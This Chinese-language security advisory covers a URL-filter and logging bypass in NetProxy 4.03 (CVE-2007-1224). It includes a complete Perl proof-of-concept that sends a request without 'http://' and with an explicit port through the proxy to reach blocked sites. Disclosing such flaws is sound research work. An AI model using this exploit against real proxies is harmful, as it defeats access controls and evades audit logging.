发布日期：2007-02-27
更新日期：2007-02-27

受影响系统：

NetProxy NetProxy 4.03

描述：

---

BUGTRAQ  ID: 22741
CVE(CAN) ID: CVE-2007-1224

NetProxy包括有Web缓存、应用层防火墙。

NetProxy 4.03存在安全限制绕过漏洞，远程攻击者通过在URL请求中省略"http://"，指定目标端口(:80)，利用此漏洞绕过安全限制、未授权访问受限制站点。

<*来源：Craig Heffner
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/perl
###########################################################################
#
# Application:
#
#     NetProxy 4.03
#     http://www.grok.co.uk/netproxy/index.html
#
# Description:
#
#     NetProxy includes a powerful web cache to boost
#     performance and reduce online costs. There is
#     also an application-level firewall to protect your
#     network from unwanted access, full access logging
#     to allow you to track Internet usage, and
#     password-protected access to various Internet resources.
#
# Vulnerability:
#
#     Sending a specially crafted request to the proxy server
#     allows users to view restricted Web content and bypass
#     the logging feature.
#
# Exploit:
#
#     Assume that access to http://www.milw0rm.com has been blocked.
#     The standard query string sent to NetProxy looks like:
#
#            GET http://www.milw0rm.com HTTP/1.0
#
#     NetProxy recognizes that this is a blocked URL and subsequently
#     blocks the request. However, sending a request without 'http://'
#     in the URL allows access to the blocked URL (note that the port
#     must be manually specified as well):
#
#            GET www.milw0rm.com:80 HTTP/1.0
#
#     In addition, requests made in this manner are not logged to
#      NetProxy's connection log file.
#
# Work-Around/Fix:
#
#     Since the application automatically prepends the 'http://' string
#     to every URL specified in the block list, this technique should work
#     for all restricted Web sites, and ensures that there is no easy fix
#     for this security hole. POC code follows.
#
# Credit:
#
#     Exploit discovered and coded by Craig Heffner
#     http://www.craigheffner.com
#     heffnercj [at] gmail.com
###########################################################################

use IO::Socket;

#Define the NetProxy server and port
$proxy_ip = "127.0.0.1";
$proxy_port = "8080";

#Set the site, port and page to request
$site = "www.milw0rm.com";
$port = "80";
$page = "index.html";

#Define FF and IE user agent strings
$ms_ie = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)";
$ms_ff = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1";

#Create connection to NetProxy
my $sock = new IO::Socket::INET(
            Proto => 'tcp',
            PeerAddr => $proxy_ip,
            PeerPort => $proxy_port,
            );
die "Failed to connect to [$proxy_ip:$proxy_port] : $!\n" unless $sock;    

#Format the request
$request = "GET $site:$port/$page HTTP/1.0\r\n";
$request .= "User-Agent: $ms_ff\r\n";
$request .= "\r\n";

#Send the request
print $sock $request;

#Read the reply
while(<$sock>){
    $reply .= $_;
}

close($sock);

#Separate NetProxy header from HTML
($header,$html) = split("\r\n\r",$reply);

print $html;

exit;

# milw0rm.com [2007-02-27]

建议：

---

厂商补丁：

NetProxy
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.grok.co.uk/netproxy/index.html

浏览次数：1876
严重程度：0（网友投票）